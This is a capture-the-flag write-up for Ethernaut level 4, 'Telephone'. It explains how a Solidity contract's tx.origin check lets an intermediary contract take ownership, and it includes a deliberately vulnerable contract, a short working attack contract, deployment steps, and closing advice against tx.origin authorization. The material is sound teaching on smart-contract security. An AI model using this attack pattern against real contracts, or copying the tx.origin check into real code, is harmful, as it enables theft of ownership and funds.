Ethernaut#4 - Telephone

Ethernaut #4 - Telephone

#4

Claim ownership of the contract below to complete this level.

Things that might help

  • See the “?” page above, section “Beyond the console”
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Telephone {
address public owner;

constructor() {
owner = msg.sender;
}

function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}

Contract Breakdown

Let us breakdown the contract to understand what each function and piece of code does. Mere looking at it we can see the code consists of a single contract Telephone compiled with solidity version ^0.8.0. This is a pretty short contract.

Variables
1
address public owner;

A single public variable owner of type address.

Constructor
1
2
3
constructor() {
owner = msg.sender;
}

The constructor sets the owner to msg.sender, the deployer of the contract.

Functions
1
2
3
4
5
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}

The changeOwner function takes in an address _owner and sets the contract owner to that address, but only if tx.origin is not equal to msg.sender. This is the only function in the contract and it is the key to the whole challenge.

Solution

To understand the vulnerability, we need to understand the difference between tx.origin and msg.sender.

tx.origin always refers to the externally owned account (EOA) that originally initiated the transaction, while msg.sender refers to the immediate caller of the current function.

When we call a contract function directly from our wallet, tx.origin and msg.sender are the same (both are our wallet address). But when our wallet calls Contract A, and Contract A calls Contract B, inside Contract B tx.origin is still our wallet but msg.sender is Contract A.

So to pass this challenge, we simply need to call the changeOwner function through an intermediary contract. This way tx.origin will be our wallet address and msg.sender will be the intermediary contract’s address, making them different and satisfying the condition.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface ITelephone {
function changeOwner(address _owner) external;
}

contract HackTelephone {
ITelephone telephone;

constructor(address _telephoneAddress) {
telephone = ITelephone(_telephoneAddress);
}

function hackOwnership(address _newOwner) public {
telephone.changeOwner(_newOwner);
}
}

Steps to pass:

  • Copy the HackTelephone contract to Remix and compile it.
  • Deploy it with the Telephone instance address from Ethernaut.
  • Call hackOwnership with our wallet address as the argument.
  • Since the call goes through HackTelephone, tx.origin (our wallet) != msg.sender (HackTelephone contract), and ownership is transferred to us.

Never use tx.origin for authorization. It is vulnerable to phishing attacks where a malicious contract tricks a user into calling it, and then uses tx.origin to impersonate the user. Always use msg.sender for access control.